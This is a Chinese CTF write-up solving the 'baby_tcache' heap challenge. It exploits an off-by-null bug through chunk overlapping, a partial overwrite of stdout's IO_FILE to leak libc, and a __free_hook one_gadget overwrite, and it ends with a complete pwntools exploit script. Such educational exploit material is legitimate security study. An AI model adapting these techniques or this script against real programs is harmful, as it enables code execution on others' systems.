#本题是上一篇文章IO_FILE利用的例题,可结合上一篇文章阅读#
保护检查:
防护全开,以现在我掌握的知识来说只有挂fake_chunk写one_gadget和ORW了
静态分析:
main()函数:
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
sub_AAB();
while ( 1 )
{
while ( 1 )
{
sub_BFF();
v3 = sub_B27();
if ( v3 != 2 )
break;
free__();
}
if ( v3 == 3 )
_exit(0);
if ( v3 == 1 )
create__();
else
puts("Invalid Choice");
}
}
从结构上可以看出来大概率是道菜单题,进入这个sub_BFF()函数看一下:
int sub_BFF()
{
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
puts(&byte_FB8);
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
puts("$ 1. New heap $");
puts("$ 2. Delete heap $ ");
puts("$ 3. Exit $ ");
puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
return printf("Your choice: ");
}
果然是道菜单题,但是发现只有创建和删除的功能,没有打印功能,但是不妨碍我们泄露,因为现在我们有了IO_FILE这个办法。由于IO_FILE的泄露利用大多与溢出挂钩,所以后面在看伪代码的时候就要注意有没有溢出漏洞的出现。
create()函数:
int create__()
{
_QWORD *v0; // rax
int i; // [rsp+Ch] [rbp-14h]
_BYTE *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (int)v0;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = sub_B27();
if ( size > 0x2000 )
exit(-2);
v3 = malloc(size);
if ( !v3 )
exit(-1);
printf("Data:");
sub_B88(v3, (unsigned int)size);
v3[size] = 0; // off_by_null
qword_202060[i] = v3;
v0 = qword_2020C0;
qword_2020C0[i] = size;
return (int)v0;
}
前面都是正常的创建流程,没有什么特别的,主要是要看这一句代码:
v3[size] = 0; // off_by_null
这是一个经典off_by_null漏洞,而且也是那种只要创建输入了内容就会触发的。off_by_null漏洞的利用现在我第一时间想到的就是chunk_overlapping,而且主要是unsortedbin中的overlapping。
还有就是要注意下面这两个偏移量:
- qword_202060
- qword_2020C0
根据程序逻辑可以看出来,在0x202060中存放的是malloc出来的堆块指针,在0x2020C0中存放的是对应位置堆块的data部分大小,特别是0x202060这个指针数组,是我们后面的进行利用的“路标”
free()函数:
int sub_D85()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = sub_B27();
if ( v1 > 9 )
exit(-3);
if ( qword_202060[v1] )
{
memset((void *)qword_202060[v1], 218, qword_2020C0[v1]);
free((void *)qword_202060[v1]);
qword_202060[v1] = 0LL;
qword_2020C0[v1] = 0LL;
}
return puts(":)");
}
正常的删除流程,在释放堆块后顺便把指针数组内对应位置的指针也置空了,没有明显可见的UAF。
特别注意,这个地方有一句代码:
memset((void *)qword_202060[v1], 218, qword_2020C0[v1]);
这句代码的意思是将马上要被释放的堆块内用字符da进行填充,这堆利用产生了一定影响,因为如果直接再chunk中写东西再释放后利用的话,我们原本写的东西就会被这些字符覆盖掉。
整理思路:
静态分析中可以得到:存在off_be_null漏洞,程序本身没有输出功能。
准备的利用思路如下:
- 伪造prev_size位
- 触发chunk_overlapping
- 通过chunk_overlapping使某个堆块在tcache和unsortedbin中同时存在
- 通过unsortedbin的存取机制利用其fd指针进行末尾覆盖使其指向IO_FILE结构体
- 伪造IO_FILE结构内的数据完成libc、地址泄露
- 挂fake_chunk,写one_gadget
大概思路就是上面这样,下面来具体实现:
伪造prev_size位和overlapping:
前面说到这个程序再释放时会将堆块内的内容全部用da字符来填充,如果我们直接构造chunk空间复用来overlapping的话就会失败(亲自尝试过的😭),所以这里我们利用内存对齐的方式来完成。
怎么个利用法呢?我们都知道如果我们申请0x40的堆块,系统就会分配给我们0x50的内存,如果我们申请0x48的堆块。系统还是会给我们分配0x50的堆块,但是由于我们申请的是0x48,比上一个多出来的那8个字节就会覆盖到下一个chunk的prev_szie位,这样就避免了程序自动填充被释放堆块而造成的影响
依照以前的经验,我们完成一次unsortedbin chunk的overlapping至少需要四个chunk,一个chunk用来防止chunk与top_chunk合并。
这道题的实现方式也是这样的:
create(0x500,"aaaa") #0
create(0x40,"bbbb") #1
create(0x4f8,"cccc") #2
create(0x20,"dddd") #3
free(0)
free(1)
payload1 = b'a'*0x40 + p64(0x560)
create(0x48,payload1) #0
payload1中的p64(0x560)中的0x560就是在chunk2之前堆块的大小总和:0x510 + 0x50 = 0x560,并且当释放的chunk大于0x500大小时就不会被挂进他tcache了
之后我们只要再申请一个0x48的chunk形成空间复用即可伪造好prev_size:
可以看见prev_size已经设定好了,并且触发了off_by_null修改了prev_inuse位。之后释放chunk2即可触发overlapping:
实现代码
create(0x500,"aaaa") #0
create(0x40,"bbbb") #1
create(0x4f8,"cccc") #2
create(0x20,"dddd") #3
free(0)
free(1)
payload1 = b'a'*0x40 + p64(0x560)
create(0x48,payload1) #0
free(2)
free(0)
其中这个free(0)是要让前面被申请出来chunk1回到tcache准备后面的利用。
设计tcache中的fd指针:
前面的操作完成了overlapping并将chunk1再次挂回了tcache,这一步我们利用unsortedbin的存取机制设置设计chunk1的fd,在tcache中挂进一个以libc为基地址的fake_chunk。
我们都知道unsortedbin会将分割后的chunk的size位写进分配出去的chunk的下一个0x10的位置上,把unsortedbin 的地址写进下一个0x20的位置上。
所以这里我们就要分割走0x500的大小使unsortedbin的地址挂进chunk1的fd指针位置:
create(0x500,"yms1") #0
以上就是实现代码和实现结果,这样我们的tcache中就有一个可以利用的处于libc上的fake_chunk了。
覆盖末位控制IO_FILE结构体:
前面将unsortedbin的地址挂进了tcache里面,这一步我们覆盖它的末位字节使这个地址指向IO_FILE。
首先查一下stdout的IO_FILE结构体位置:
可以看见它的末三位是760,由于页对齐机制这三位在每一次运行中都是不变的,所以我们只要覆盖chunk1的fd指针的末三位为760就可使IO_FILE作为fake_chunk挂进tcache里面,但是我们只能两字节两字节的输入,所以我们会多出来一位,网上有些师傅的wp为了方便讲解关了地址随机化所以他们的末四位也是固定的,但是正常情况下是有地址随机化的,所以这里我们就要爆破第四个字节
这里讲一下爆破是怎么操作的:用通俗的话来讲就是不停的靠运气试,试到某一次随机化的地址第四位是我们输入的那四位(1/16的概率),在语法上就采用try - except模式来进行爆破。
这里我的操作代码是这样的:
payload2 = b'\x60\xd7'
create1(0x50,payload2) #1
构造IO_FILE内部结构:
这里关于构造怎么来的就不多赘述了,上一篇文章有讲。也就是将IO_FILE中的前面四个参数设定为我们需要的样子:
- 前面的flags设定为:0xFBAD1800
- _IO_read_ptr、_IO_read_end、_IO_read_base覆盖为0
- _IO_write_base的地址与 _IO_write_end的差值尽量大(尽可能泄露更多的数据)这里将它的末尾字节覆盖为\x00
这里就来看一下stdout的IO_FILE结构体里面的实际情况:
前面的四个参数就是我们要修改的,我的实现代码如下:
payload2 = b'\x60\xd7'
create1(0x50,payload2) #1
payload3 = p64(0xfbad1800) + p64(0)*3 + b'\x00'
create(0x40,"yms2")
create1(0x48,payload3)
io.recv(8)
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x3ED8B0
print(hex(libc_base))
实现效果如下:
这里代码中减去的0x3ED8B0是一个固定偏移,也不用特地记,拿gdb里面的数据自己算一下就能算出来。
挂fake_chunk,写one_gadget:
到这里就是常规操作了,对着0x202060偏移的数组里的数据构造同时存在于tcache两个链表里面的chunk就可以了,这里选择挂free_hook:
free(1)
payload4 = p64(libc.symbols['__free_hook'] + libc_base)
payload5 = p64(libc_base + 0x4f302)
free(2)
print(hex(libc_base))
create(0x50,payload4)
create(0x50,"yms3")
create(0x50,payload5)
free(0)
io.interactive()
EXP:
from pwn import *
context.log_level = 'debug'
io = process("./baby_tcache")
#io = 0
elf = ELF("./baby_tcache")
#elf = 0
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size,content):
io.recvuntil("Your choice: ")
io.sendline(b'1')
io.recvuntil("Size:")
io.sendline(str(size))
io.recvuntil("Data:")
io.sendline(content)
def free(index):
io.recvuntil("Your choice: ")
io.sendline(b'2')
io.recvuntil("Index:")
io.sendline(str(index))
def create1(size,content):
io.recvuntil("Your choice: ")
io.sendline(b'1')
io.recvuntil("Size:")
io.sendline(str(size))
io.sendafter("Data:",content)
def pwn():
global io
io = process("./baby_tcache")
global elf
elf = process("./baby_tcache")
create(0x500,"aaaa") #0
create(0x40,"bbbb") #1
create(0x4f8,"cccc") #2
create(0x20,"dddd") #3
free(0)
free(1)
payload1 = b'a'*0x40 + p64(0x560)
create(0x48,payload1) #0
free(2)
free(0)
create(0x500,"yms1") #0
payload2 = b'\x60\xd7'
create1(0x50,payload2) #1
payload3 = p64(0xfbad1800) + p64(0)*3 + b'\x00'
create(0x40,"yms2")
create1(0x48,payload3)
io.recv(8)
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x3ED8B0
print(hex(libc_base))
free(1)
payload4 = p64(libc.symbols['__free_hook'] + libc_base)
payload5 = p64(libc_base + 0x4f302)
free(2)
print(hex(libc_base))
create(0x50,payload4)
create(0x50,"yms3")
create(0x50,payload5)
free(0)
io.interactive()
if __name__ == '__main__':
while True:
try:
pwn()
break
except:
io.kill()
continue
运行结果: